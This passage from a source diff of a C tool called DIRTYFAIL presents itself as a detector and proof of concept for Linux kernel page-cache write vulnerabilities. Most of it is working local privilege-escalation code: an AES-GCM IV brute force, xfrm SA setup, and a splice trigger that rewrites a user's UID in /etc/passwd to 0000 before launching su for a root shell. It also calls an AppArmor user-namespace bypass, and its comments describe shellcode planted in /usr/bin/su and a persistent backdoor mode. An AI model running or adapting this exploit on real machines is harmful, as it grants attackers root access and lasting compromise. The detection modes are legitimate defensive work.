if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("could not find %s in /etc/passwd", user);
return DF_TEST_ERROR;
}
log_step("/etc/passwd: UID field at offset %lld = '%s' (%zu chars)",
(long long)uid_off, uid_str, uid_len);
if (uid_len != 4) {
log_bad("this technique needs a 4-digit UID; got '%s' (%zu chars)",
uid_str, uid_len);
log_hint("either pick a different user with a 4-digit UID, or use "
"the multi-shot variant (not implemented in DIRTYFAIL).");
return DF_TEST_ERROR;
}
log_warn("about to flip /etc/passwd page cache: '%s' -> '0000'", uid_str);
log_warn("on-disk file is unchanged. cleanup options:");
log_warn(" 1) DIRTYFAIL --cleanup (POSIX_FADV_DONTNEED + drop_caches)");
log_warn(" 2) echo 3 > /proc/sys/vm/drop_caches (from root)");
log_warn(" 3) reboot");
if (!typed_confirm("DIRTYFAIL")) {
log_bad("confirmation declined — aborting");
return DF_OK;
}
if (!ssh_lockout_check(user)) {
log_bad("SSH-lockout confirmation declined — aborting");
return DF_OK;
}
log_step("issuing 4-byte page-cache write...");
if (!cf_4byte_write("/etc/passwd", uid_off,
(const unsigned char *)"0000")) {
log_bad("primitive failed");
return DF_EXPLOIT_FAIL;
}
/* Verify via a fresh read against the page cache. */
int v = open("/etc/passwd", O_RDONLY);
if (v < 0) { log_bad("verify open: %s", strerror(errno)); return DF_EXPLOIT_FAIL; }
if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; }
char land[5] = {0};
if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; }
close(v);
if (memcmp(land, "0000", 4) != 0) {
log_bad("write did not land — page cache reads '%.4s'", land);
return DF_EXPLOIT_FAIL;
}
log_ok("page cache now reports %s with uid 0", user);
/* Sanity check via libc — getpwnam() walks NSS, which on most
* systems hits files first, so this should agree with our patch. */
struct passwd *p = getpwnam(user);
if (p) log_step("getpwnam('%s').pw_uid = %u", user, p->pw_uid);
if (!do_shell) {
if (dirtyfail_no_revert) {
log_warn("--no-revert: leaving page cache poisoned (run "
"`dirtyfail --cleanup` or reboot to revert)");
return DF_EXPLOIT_OK;
}
log_hint("--no-shell selected; reverting page cache");
if (try_revert_passwd_page_cache())
log_ok("page cache reverted");
else
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
return DF_EXPLOIT_OK;
}
log_ok("invoking 'su %s' — enter your own password to drop into a root shell",
user);
log_hint("after exit, run DIRTYFAIL --cleanup or reboot");
execlp("su", "su", user, (char *)NULL);
log_bad("execlp su: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
+33
View File
@@ -0,0 +1,33 @@
/*
* DIRTYFAIL — copyfail.h
*
* Public surface for the Copy Fail (CVE-2026-31431) module.
*/
#ifndef DIRTYFAIL_COPYFAIL_H
#define DIRTYFAIL_COPYFAIL_H
#include "common.h"
/* Run all preflight checks and the sentinel-file primitive probe.
* Never modifies system files. */
df_result_t copyfail_detect(void);
/* Real PoC: flip the running user's 4-digit UID in /etc/passwd page
* cache to "0000" and (optionally) execve `su <user>` to drop a root
* shell. `do_shell` controls whether to invoke su; if false, the patch
* is reverted via POSIX_FADV_DONTNEED before returning so the system
* does not stay in a broken state. */
df_result_t copyfail_exploit(bool do_shell);
/* Low-level building block: write 4 bytes into the page cache of
* `target_path` at `target_off`. Caller must have read access to
* the file. Same primitive that copyfail_exploit uses internally;
* exposed for exploit_su.c to chain ~12 calls into a 48-byte
* shellcode plant against /usr/bin/su. Returns true if the AF_ALG
* sequence completed; caller MUST verify via re-read. */
bool cf_4byte_write(const char *target_path,
off_t target_off,
const unsigned char four_bytes[4]);
#endif
+634
View File
@@ -0,0 +1,634 @@
/*
* DIRTYFAIL — copyfail_gcm.c
*
* See copyfail_gcm.h for the design notes. This file implements:
*
* 1. AES-GCM keystream byte 0 computation via AF_ALG `gcm(aes)`.
* 2. IV brute force until keystream[0] equals the desired XOR mask.
* 3. SA installation via `ip xfrm state add ...` (system(3) — saves
* ~150 lines of netlink boilerplate vs. our authencesn path; the
* gcm primitive is the right place to take that dep, and every
* modern distro ships iproute2).
* 4. Splice trigger: ESP wire header (16B) + 1 target byte + 16-byte
* ICV pad. The kernel's in-place GCM decrypt XORs keystream[0]
* onto the spliced page-cache byte, which is what we control.
*/
#include "copyfail_gcm.h"
#include "apparmor_bypass.h"
#include <fcntl.h>
#include <pwd.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#ifdef __linux__
#include <sched.h>
#include <sys/syscall.h>
#include <linux/if.h>
#include <sys/ioctl.h>
extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out,
size_t len, unsigned int flags);
#endif
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#define ENCAP_PORT 4500
#define ESP_SPI 0xCAFEBABE
#define IV_LEN 8
#define ICV_LEN 16
#define AES_KEY_LEN 16
#define SALT_LEN 4
#define KEY_TOTAL (AES_KEY_LEN + SALT_LEN) /* rfc4106 expects 20 */
/* Fixed AEAD key (16-byte AES key + 4-byte salt). Both are attacker-
* chosen — auth verification will fail at the end of decrypt anyway,
* the STORE has already happened by then. */
__attribute__((unused))
static const unsigned char AEAD_KEY[KEY_TOTAL] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
0x10, 0x11, 0x12, 0x13,
};
/* ---------------------------------------------------------------- *
* Detection
* ---------------------------------------------------------------- */
df_result_t copyfail_gcm_detect(void)
{
log_step("Copy Fail GCM variant — detection");
int km, kn;
if (kernel_version(&km, &kn))
log_hint("kernel %d.%d.x", km, kn);
/* Probe AF_ALG availability of rfc4106(gcm(aes)). */
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (s < 0) {
log_ok("AF_ALG unavailable — GCM variant unreachable");
return DF_PRECOND_FAIL;
}
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "aead", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, "rfc4106(gcm(aes))", sizeof(sa.salg_name) - 1);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
log_ok("rfc4106(gcm(aes)) not loadable — GCM variant unreachable");
close(s);
return DF_PRECOND_FAIL;
}
close(s);
log_ok("AF_ALG + rfc4106(gcm(aes)) loadable");
bool userns = unprivileged_userns_allowed();
log_hint("unprivileged user namespace: %s", userns ? "allowed" : "DENIED");
if (!userns) {
log_warn("preconditions partial — userns blocked. Try with --aa-bypass.");
return DF_PRECOND_FAIL;
}
if (apparmor_userns_caps_blocked()) {
log_ok("LSM-mitigated — unprivileged userns lacks caps; xfrm SA install "
"via `ip xfrm` requires CAP_NET_ADMIN that the AA policy denies.");
return DF_PRECOND_FAIL;
}
if (dirtyfail_active_probes) {
log_step("--active set: firing rfc4106(gcm) trigger against /tmp sentinel");
df_result_t pr = copyfail_gcm_active_probe();
if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr;
log_warn("active probe inconclusive — falling back to precondition verdict");
}
log_warn("VULNERABLE — GCM-variant of xfrm-ESP page-cache write reachable");
log_warn("apply mainline patch f4c50a4034e6 or distro backport");
log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe");
return DF_VULNERABLE;
}
/* ---------------------------------------------------------------- *
* AES-GCM keystream byte 0 — computed via AF_ALG `ecb(aes)` instead
* of `aead gcm(aes)`.
*
* BACKGROUND
* ----------
* Originally we used AF_ALG `aead` `gcm(aes)`: bind, set key + tag size,
* sendmsg with assoclen=0 + 1-byte zero plaintext, read back 17 bytes
* of (ciphertext || tag). The first byte of the output IS the keystream
* byte we want (since pt=0 means ct = ks XOR 0 = ks).
*
* That worked in unit tests on some kernels but on Ubuntu 24.04 / 6.8
* the read() blocks indefinitely — the 1-byte AEAD plaintext doesn't
* produce output until additional data is sent or the socket is shut
* down. Tracking down the exact "what does this kernel want" was a rat
* hole.
*
* Instead, we compute keystream byte 0 directly. Per NIST SP 800-38D,
* GCM with a 12-byte nonce derives the initial counter as
* J0 = nonce || 0x00000001
* and the counter for the first plaintext block is J0 + 1 =
* nonce || 0x00000002
* The keystream block is E_K(that counter), so:
* keystream[0] = AES-128-ECB(K, nonce || 0x00000002)[0]
*
* AF_ALG `ecb(aes)` is bulletproof — single-block in, single-block out,
* no MSG_MORE / shutdown semantics to get wrong. ~6 µs per call on a
* 4-core VM, vs ~50 µs for the AEAD path that didn't actually work.
*
* (cf2's copyfail2.c uses OpenSSL EVP_aes_128_gcm to do the same
* computation indirectly. We avoid the libssl dependency by going
* through AF_ALG ECB directly.)
* ---------------------------------------------------------------- */
#ifdef __linux__
static int gcm_open(void)
{
int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (s < 0) return -1;
struct sockaddr_alg_compat sa = { .salg_family = AF_ALG };
strncpy((char *)sa.salg_type, "skcipher", sizeof(sa.salg_type) - 1);
strncpy((char *)sa.salg_name, "ecb(aes)", sizeof(sa.salg_name) - 1);
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
close(s); return -1;
}
if (setsockopt(s, SOL_ALG, ALG_SET_KEY,
AEAD_KEY, AES_KEY_LEN) < 0) { /* AES-128 key */
close(s); return -1;
}
return s;
}
/* Compute byte 0 of the GCM keystream for the given 12-byte nonce by
* ECB-encrypting the counter block (nonce || 0x00000002). */
static bool gcm_keystream_byte0(int ecb_s, const uint8_t nonce[12],
uint8_t *out_byte)
{
int op = accept(ecb_s, NULL, NULL);
if (op < 0) return false;
/* Counter block: J0 + 1 = nonce(12) || 0x00000002. The +1 is
* because GCM reserves J0 itself for the auth-tag XOR, so the
* first plaintext block uses J0+1. */
uint8_t block[16];
memcpy(block, nonce, 12);
block[12] = 0; block[13] = 0; block[14] = 0; block[15] = 2;
char cbuf[CMSG_SPACE(sizeof(unsigned int))] = {0};
unsigned int op_enc = ALG_OP_ENCRYPT;
struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) };
struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_OP;
c->cmsg_len = CMSG_LEN(sizeof(unsigned int));
memcpy(CMSG_DATA(c), &op_enc, sizeof(op_enc));
struct iovec iov = { .iov_base = block, .iov_len = 16 };
msg.msg_iov = &iov; msg.msg_iovlen = 1;
if (sendmsg(op, &msg, 0) != 16) { close(op); return false; }
uint8_t out[16];
ssize_t n = read(op, out, 16);
close(op);
if (n != 16) return false;
*out_byte = out[0];
return true;
}
/* Brute force IV until keystream byte equals want_ks. Returns iters
* tried; writes the winning 8-byte IV into iv_out. */
static int64_t gcm_brute_iv(uint8_t want_ks, uint8_t iv_out[IV_LEN])
{
int s = gcm_open();
if (s < 0) {
log_bad("gcm_open: %s", strerror(errno));
return -1;
}
uint8_t nonce[12];
memcpy(nonce, AEAD_KEY + AES_KEY_LEN, SALT_LEN); /* salt prefix */
for (uint64_t v = 1; v < (1ULL << 32); v++) {
memcpy(nonce + SALT_LEN, &v, IV_LEN); /* low 8 bytes */
uint8_t ks;
if (!gcm_keystream_byte0(s, nonce, &ks)) {
close(s);
return -1;
}
if (ks == want_ks) {
memcpy(iv_out, &v, IV_LEN);
close(s);
return (int64_t)v;
}
if ((v & 0xFFF) == 0 && v > 16384) {
/* progress hint after 16k attempts (very unlucky case). */
log_hint("gcm IV brute: %llu trials so far...",
(unsigned long long)v);
}
}
close(s);
return -1;
}
/* ---------------------------------------------------------------- *
* SA install via `ip xfrm state add ...`
* ---------------------------------------------------------------- */
static bool ip_run(const char *fmt, ...)
{
char cmd[2048];
va_list ap;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
int rc = system(cmd);
return rc == 0;
}
static bool gcm_install_sa(const uint8_t iv[IV_LEN])
{
char keyhex[KEY_TOTAL * 2 + 3];
char *p = keyhex;
p += sprintf(p, "0x");
for (int i = 0; i < KEY_TOTAL; i++)
p += sprintf(p, "%02x", AEAD_KEY[i]);
/* `ip xfrm state add` registers a transport-mode ESP SA over
* loopback with rfc4106(gcm(aes)) AEAD. Encap is ESPINUDP/4500
* matching what we'll send via splice. */
(void)iv; /* IV travels in the wire packet, not the SA. */
return ip_run(
"ip link set lo up >/dev/null 2>&1 ; "
"ip xfrm state flush >/dev/null 2>&1 ; "
"ip xfrm state add src 127.0.0.1 dst 127.0.0.1 proto esp "
"spi 0x%08x encap espinudp %d %d 0.0.0.0 "
"aead 'rfc4106(gcm(aes))' %s 128 replay-window 32 >/dev/null 2>&1",
ESP_SPI, ENCAP_PORT, ENCAP_PORT, keyhex);
}
/* ---------------------------------------------------------------- *
* Splice trigger
* ---------------------------------------------------------------- */
static bool gcm_trigger(const char *target_path, off_t target_off,
const uint8_t iv[IV_LEN])
{
int rs = socket(AF_INET, SOCK_DGRAM, 0);
if (rs < 0) return false;
int encap = UDP_ENCAP_ESPINUDP;
setsockopt(rs, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap));
struct sockaddr_in la = {
.sin_family = AF_INET,
.sin_port = htons(ENCAP_PORT),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
int reuse = 1;
setsockopt(rs, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
if (bind(rs, (struct sockaddr *)&la, sizeof(la)) < 0) {
close(rs); return false;
}
/* Build attacker page in /tmp: ESP header(16) + ICV pad at offset
* 4096. We splice these from a real file so the kernel sees them
* as page-cache pages on the splice path. */
char atkpath[64];
snprintf(atkpath, sizeof(atkpath), "/tmp/dirtyfail-gcm.%d", (int)getpid());
unlink(atkpath);
int afd = open(atkpath, O_RDWR | O_CREAT | O_EXCL, 0600);
if (afd < 0) { close(rs); return false; }
unsigned char esp_hdr[16];
*(uint32_t *)(esp_hdr + 0) = htonl(ESP_SPI);
*(uint32_t *)(esp_hdr + 4) = htonl(1); /* SeqNum */
memcpy(esp_hdr + 8, iv, IV_LEN);
if (pwrite(afd, esp_hdr, 16, 0) != 16) goto fail;
unsigned char icv[ICV_LEN] = {0};
if (pwrite(afd, icv, ICV_LEN, 4096) != ICV_LEN) goto fail;
fsync(afd);
#ifdef POSIX_FADV_DONTNEED
posix_fadvise(afd, 0, 0, POSIX_FADV_DONTNEED);
#endif
int afd2 = open(atkpath, O_RDONLY);
if (afd2 < 0) goto fail;
unlink(atkpath);
int tfd = open(target_path, O_RDONLY);
if (tfd < 0) { close(afd2); goto fail; }
int p[2];
if (pipe(p) < 0) { close(afd2); close(tfd); goto fail; }
fcntl(p[0], F_SETPIPE_SZ, 1 << 20);
fcntl(p[1], F_SETPIPE_SZ, 1 << 20);
/* esp_hdr (16) || target_byte (1) || icv_pad (16) — 33 bytes total. */
loff_t off;
off = 0; if (splice(afd2, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) goto trig_fail;
off = target_off; if (splice(tfd, &off, p[1], NULL, 1, SPLICE_F_MOVE) != 1) goto trig_fail;
off = 4096; if (splice(afd2, &off, p[1], NULL, 16, SPLICE_F_MOVE) != 16) goto trig_fail;
int ss = socket(AF_INET, SOCK_DGRAM, 0);
if (ss < 0) goto trig_fail;
if (connect(ss, (struct sockaddr *)&la, sizeof(la)) < 0) { close(ss); goto trig_fail; }
ssize_t sent = splice(p[0], NULL, ss, NULL, 16 + 1 + 16, SPLICE_F_MOVE);
(void)sent;
close(ss);
close(p[0]); close(p[1]);
/* Wait for esp_input to finish the in-place STORE before we
* tear down sockets. 150ms matches V4bel's reference; 50ms was
* working on x86 lab kernels but tight on ARM64 / loaded VMs. */
usleep(150 * 1000);
unsigned char drain[256];
(void)recv(rs, drain, sizeof(drain), MSG_DONTWAIT);
close(afd2); close(tfd); close(afd); close(rs);
return true;
trig_fail:
close(p[0]); close(p[1]); close(afd2); close(tfd);
fail:
close(afd); close(rs);
unlink(atkpath);
return false;
}
/* ---------------------------------------------------------------- *
* Public 1-byte primitive
* ---------------------------------------------------------------- */
bool cfg_1byte_write(const char *target_path,
off_t target_off, unsigned char want_byte)
{
/* Read current byte. */
int tfd = open(target_path, O_RDONLY);
if (tfd < 0) {
log_bad("open %s: %s", target_path, strerror(errno));
return false;
}
unsigned char cur = 0;
if (pread(tfd, &cur, 1, target_off) != 1) {
log_bad("pread current: %s", strerror(errno));
close(tfd); return false;
}
close(tfd);
if (cur == want_byte) {
return true; /* already what we want */
}
uint8_t want_ks = cur ^ want_byte;
log_step("cfg_1byte_write off=%lld 0x%02x -> 0x%02x (need_ks=0x%02x)",
(long long)target_off, cur, want_byte, want_ks);
/* Brute force IV via AF_ALG. */
uint8_t iv[IV_LEN];
int64_t iters = gcm_brute_iv(want_ks, iv);
if (iters < 0) {
log_bad("gcm IV brute force failed (want_ks=0x%02x)", want_ks);
return false;
}
log_step(" IV found in %lld iters", (long long)iters);
/* Install SA. */
if (!gcm_install_sa(iv)) {
log_bad("ip xfrm state add failed");
return false;
}
log_step(" SA installed");
/* Trigger. */
if (!gcm_trigger(target_path, target_off, iv)) {
log_bad("gcm trigger failed");
return false;
}
log_step(" trigger fired");
/* Verify. */
int v = open(target_path, O_RDONLY);
if (v < 0) return false;
unsigned char post = 0;
if (pread(v, &post, 1, target_off) != 1) { close(v); return false; }
close(v);
if (post != want_byte) {
log_bad("byte at off=%lld is 0x%02x, wanted 0x%02x",
(long long)target_off, post, want_byte);
return false;
}
return true;
}
#else /* !__linux__ */
bool cfg_1byte_write(const char *p, off_t o, unsigned char b)
{ (void)p; (void)o; (void)b; return false; }
#endif
/* ---------------------------------------------------------------- *
* Top-level exploit (UID flip end-to-end)
* ---------------------------------------------------------------- */
/* INNER (bypass userns): cfg_1byte_write × 4 to flip UID digits to '0'. */
df_result_t copyfail_gcm_exploit_inner(void)
{
#ifdef __linux__
const char *user = getenv("DIRTYFAIL_TARGET_USER");
if (!user || !*user) {
log_bad("inner: DIRTYFAIL_TARGET_USER not set");
return DF_TEST_ERROR;
}
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("inner: find_passwd_uid_field('%s') failed", user);
return DF_TEST_ERROR;
}
if (uid_len != 4) {
log_bad("inner: UID '%s' not 4 chars", uid_str);
return DF_TEST_ERROR;
}
for (size_t i = 0; i < 4; i++) {
if (uid_str[i] == '0') continue;
log_step("inner: flip /etc/passwd[%lld] '%c' -> '0'",
(long long)(uid_off + i), uid_str[i]);
if (!cfg_1byte_write("/etc/passwd", uid_off + i, '0')) {
log_bad("inner: byte flip failed at offset %lld",
(long long)(uid_off + i));
return DF_EXPLOIT_FAIL;
}
}
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
/* OUTER (init ns): prompts → fork bypass child → wait → verify → su. */
df_result_t copyfail_gcm_exploit(bool do_shell)
{
log_step("Copy Fail GCM variant — exploit");
uid_t target_uid = getuid();
if (target_uid == 0) {
log_warn("already root in init namespace");
return DF_OK;
}
struct passwd *pw = getpwuid(target_uid);
if (!pw) { log_bad("getpwuid: %s", strerror(errno)); return DF_TEST_ERROR; }
const char *user = pw->pw_name;
off_t uid_off; size_t uid_len; char uid_str[16];
if (!find_passwd_uid_field(user, &uid_off, &uid_len, uid_str)) {
log_bad("user %s not found in /etc/passwd", user);
return DF_TEST_ERROR;
}
log_step("/etc/passwd UID for %s: '%s' at offset %lld",
user, uid_str, (long long)uid_off);
if (uid_len != 4) {
log_bad("UID '%s' is %zu chars; need 4", uid_str, uid_len);
return DF_TEST_ERROR;
}
log_warn("about to flip /etc/passwd UID via rfc4106(gcm(aes)) byte-flips");
log_warn("(four 1-byte writes — one per UID digit not already '0')");
if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; }
if (!ssh_lockout_check(user)) { log_bad("ssh-lockout declined"); return DF_OK; }
setenv("DIRTYFAIL_INNER_MODE", "gcm", 1);
setenv("DIRTYFAIL_TARGET_USER", user, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
if (rc != DF_EXPLOIT_OK) {
log_bad("inner exploit failed (exit=%d)", rc);
return DF_EXPLOIT_FAIL;
}
/* Verify in init ns */
int v = open("/etc/passwd", O_RDONLY);
if (v < 0) return DF_EXPLOIT_FAIL;
if (lseek(v, uid_off, SEEK_SET) != uid_off) { close(v); return DF_EXPLOIT_FAIL; }
char land[5] = {0};
if (read(v, land, 4) != 4) { close(v); return DF_EXPLOIT_FAIL; }
close(v);
if (memcmp(land, "0000", 4) != 0) {
log_bad("verify: page cache reads '%.4s'", land);
return DF_EXPLOIT_FAIL;
}
log_ok("page cache now reports %s with uid 0 (via GCM path)", user);
if (!do_shell) {
if (try_revert_passwd_page_cache())
log_ok("page cache reverted (--no-shell)");
else
log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot");
return DF_EXPLOIT_OK;
}
log_ok("invoking 'su %s' in init ns — enter your password for REAL root", user);
execlp("su", "su", user, (char *)NULL);
log_bad("execlp: %s", strerror(errno));
return DF_EXPLOIT_FAIL;
}
/* ---------------------------------------------------------------- *
* Active probe — `--scan --active`.
*
* Install GCM SA with an arbitrary IV and fire ONE trigger against a
* /tmp sentinel. We skip the IV brute force: keystream XOR ciphertext
* is unpredictable but ANY byte change at sentinel[0] proves the
* kernel ran the in-place STORE.
* ---------------------------------------------------------------- */
df_result_t copyfail_gcm_active_probe_inner(void)
{
#ifdef __linux__
const char *sentinel = getenv("DIRTYFAIL_PROBE_SENTINEL");
if (!sentinel || !*sentinel) {
log_bad("gcm-probe: DIRTYFAIL_PROBE_SENTINEL not set");
return DF_TEST_ERROR;
}
/* Arbitrary fixed 8-byte wire IV (rfc4106 wraps it with the 4-byte
* SA salt to form the 12-byte GCM nonce). Keystream is deterministic
* given this IV + key, but we don't need to predict it for the
* probe — any byte change in sentinel[0] proves the STORE happened. */
static const uint8_t probe_iv[IV_LEN] = {
0xDE, 0xAD, 0xBE, 0xEF, 0x01, 0x02, 0x03, 0x04
};
if (!gcm_install_sa(probe_iv)) {
log_bad("gcm-probe: ip xfrm state add failed");
return DF_TEST_ERROR;
}
if (!gcm_trigger(sentinel, 0, probe_iv)) {
log_bad("gcm-probe: trigger failed");
return DF_TEST_ERROR;
}
return DF_EXPLOIT_OK;
#else
return DF_TEST_ERROR;
#endif
}
df_result_t copyfail_gcm_active_probe(void)
{
char tmpl[] = "/tmp/dirtyfail-gcm-probe.XXXXXX";
int sfd = mkstemp(tmpl);
if (sfd < 0) { log_bad("gcm-probe mkstemp: %s", strerror(errno)); return DF_TEST_ERROR; }
unsigned char filler[4096];
memset(filler, 'A', sizeof(filler));
if (write(sfd, filler, sizeof(filler)) != (ssize_t)sizeof(filler)) {
close(sfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(sfd);
int rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
char tmp[4096];
if (read(rfd, tmp, sizeof(tmp)) != (ssize_t)sizeof(tmp)) {
close(rfd); unlink(tmpl); return DF_TEST_ERROR;
}
close(rfd);
setenv("DIRTYFAIL_INNER_MODE", "gcm-probe", 1);
setenv("DIRTYFAIL_PROBE_SENTINEL", tmpl, 1);
int rc = apparmor_bypass_fork_arm(0, NULL);
unsetenv("DIRTYFAIL_INNER_MODE");
unsetenv("DIRTYFAIL_PROBE_SENTINEL");
if (rc == DF_PRECOND_FAIL) { unlink(tmpl); return DF_PRECOND_FAIL; }
if (rc != DF_EXPLOIT_OK) {
log_bad("gcm-probe inner failed (exit=%d)", rc);
unlink(tmpl); return DF_TEST_ERROR;
}
rfd = open(tmpl, O_RDONLY);
if (rfd < 0) { unlink(tmpl); return DF_TEST_ERROR; }
unsigned char after[16];
ssize_t got = read(rfd, after, sizeof(after));
close(rfd);
unlink(tmpl);
if (got <= 0) return DF_TEST_ERROR;
if (after[0] != 'A') {
log_warn("ACTIVE PROBE gcm: sentinel[0] changed 'A' → 0x%02x → kernel is VULNERABLE",
after[0]);
return DF_VULNERABLE;
}
log_ok("ACTIVE PROBE gcm: sentinel[0] intact — kernel rfc4106 path appears patched");
return DF_OK;
}
@@ -0,0 +1,61 @@
/*
* DIRTYFAIL — copyfail_gcm.h
*
* Single-byte page-cache write via xfrm-ESP `rfc4106(gcm(aes))` AEAD.
*
* This module is a sibling primitive to copyfail.c (4-byte authencesn
* STORE) and dirtyfrag_esp.c (4-byte authencesn STORE via XFRM). It
* targets the SAME bug class (CVE-2026-43284 xfrm-ESP no-COW path),
* but uses `rfc4106(gcm(aes))` instead of `authencesn(...)` as the
* AEAD. That changes the primitive in two useful ways:
*
* 1. Coverage. A defender who blacklisted only `algif_aead` to stop
* Copy Fail (CVE-2026-31431) is still vulnerable here — neither
* algif_aead nor the authencesn template is on the path.
*
* 2. Granularity. AES-GCM is a counter-mode cipher; in-place
* "decryption" is just XORing the keystream onto the spliced
* page byte. We can land an arbitrary single byte at any file
* offset (no 4-byte alignment, no 4-byte side-effects) by
* brute-forcing the IV until keystream[0] equals
* `target_byte XOR desired_byte`.
*
* The 1-byte primitive is what makes the persistent backdoor mode
* (`backdoor.c`) feasible without alignment juggling.
*
* Technique credit: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
* (`copyfail2.c`), reimplemented here in DIRTYFAIL style.
*/
#ifndef DIRTYFAIL_COPYFAIL_GCM_H
#define DIRTYFAIL_COPYFAIL_GCM_H
#include "common.h"
/* Detection: kernel + esp4 + rfc4106(gcm(aes)) availability + userns. */
df_result_t copyfail_gcm_detect(void);
/* End-to-end PoC: flip /etc/passwd UID via rfc4106(gcm(aes)) STORE.
* Equivalent functional outcome to copyfail_exploit() and
* dirtyfrag_esp_exploit() — different kernel path. */
df_result_t copyfail_gcm_exploit(bool do_shell);
df_result_t copyfail_gcm_exploit_inner(void);
/* Low-level building block exposed for backdoor.c:
* write a single byte at `target_path` offset `target_off`. The caller
* MUST already be inside a fresh user namespace with CAP_NET_ADMIN
* (ESP SA registration prerequisite). Returns true on apparent
* success — caller verifies via re-read. */
bool cfg_1byte_write(const char *target_path,
off_t target_off,
unsigned char desired_byte);
/* Active probe: installs a GCM SA with arbitrary IV, fires ONE
* gcm_trigger against a /tmp sentinel. Skips IV brute force entirely;
* the kernel STORE writes an unpredictable byte (keystream XOR 'A')
* which still confirms the path is reachable. Returns DF_VULNERABLE
* on byte change, DF_OK if intact, DF_PRECOND_FAIL on AA-block. */
df_result_t copyfail_gcm_active_probe(void);
df_result_t copyfail_gcm_active_probe_inner(void);
#endif
+475
View File
@@ -0,0 +1,475 @@
/*
* DIRTYFAIL — main entry point
*
* A single binary that detects and (with explicit consent) demonstrates
* exploitation of:
*
* - Copy Fail CVE-2026-31431
* - Dirty Frag (xfrm-ESP) CVE-2026-43284
* - Dirty Frag (RxRPC) CVE-2026-43500
*
* Default mode is detection. The exploit modes never run without
* --exploit on the command line *and* a typed-string confirmation at
* runtime.
*
* Exit codes:
* 0 not vulnerable (or: exploit succeeded — semantically "you can
* now type `exit` and the test ran")
* 1 test error / could not determine
* 2 vulnerable
* 3 exploit attempted but did not land
* 4 preconditions not met (effectively "not vulnerable here")
* 5 exploit succeeded and a root shell was spawned
*/
#include "common.h"
#include "copyfail.h"
#include "copyfail_gcm.h"
#include "dirtyfrag_esp.h"
#include "dirtyfrag_esp6.h"
#include "dirtyfrag_rxrpc.h"
#include "apparmor_bypass.h"
#include "backdoor.h"
#include "mitigate.h"
#include "exploit_su.h"
#include <getopt.h>
#include <fcntl.h>
#include <sys/utsname.h>
static const char BANNER[] =
"\n"
" ██████╗ ██╗██████╗ ████████╗██╗ ██╗███████╗ █████╗ ██╗██╗ \n"
" ██╔══██╗██║██╔══██╗╚══██╔══╝╚██╗ ██╔╝██╔════╝██╔══██╗██║██║ \n"
" ██║ ██║██║██████╔╝ ██║ ╚████╔╝ █████╗ ███████║██║██║ \n"
" ██║ ██║██║██╔══██╗ ██║ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ \n"
" ██████╔╝██║██║ ██║ ██║ ██║ ██║ ██║ ██║██║███████╗ \n"
" ╚═════╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚══════╝ \n"
" Copy Fail + Dirty Frag detector & PoC\n"
" CVE-2026-31431 / 43284 / 43500\n";
static void usage(const char *prog)
{
fprintf(stderr,
"Usage: %s [MODE] [OPTIONS]\n"
"\n"
"Modes (pick one; default is --scan):\n"
" --scan detect all three CVEs (no system modification)\n"
" --check-copyfail Copy Fail (CVE-2026-31431) detection only\n"
" --check-esp Dirty Frag xfrm-ESP (CVE-2026-43284) detection only\n"
" --check-rxrpc Dirty Frag RxRPC (CVE-2026-43500) detection only\n"
" --check-esp6 IPv6 xfrm-ESP path (CVE-2026-43284 v6) detection\n"
" --check-gcm Copy Fail GCM variant detection\n"
" --exploit-copyfail real PoC: flip /etc/passwd UID via algif_aead\n"
" --exploit-esp real PoC: flip /etc/passwd UID via xfrm-ESP (v4)\n"
" --exploit-esp6 real PoC: flip /etc/passwd UID via xfrm-ESP (v6)\n"
" --exploit-rxrpc real PoC: empty /etc/passwd root pwd via rxkad\n"
" (fcrypt brute-force + AF_RXRPC handshake forgery)\n"
" --exploit-gcm real PoC: flip /etc/passwd UID via rfc4106(gcm(aes))\n"
" single-byte primitive (works when authencesn is\n"
" blacklisted but rfc4106 isn't)\n"
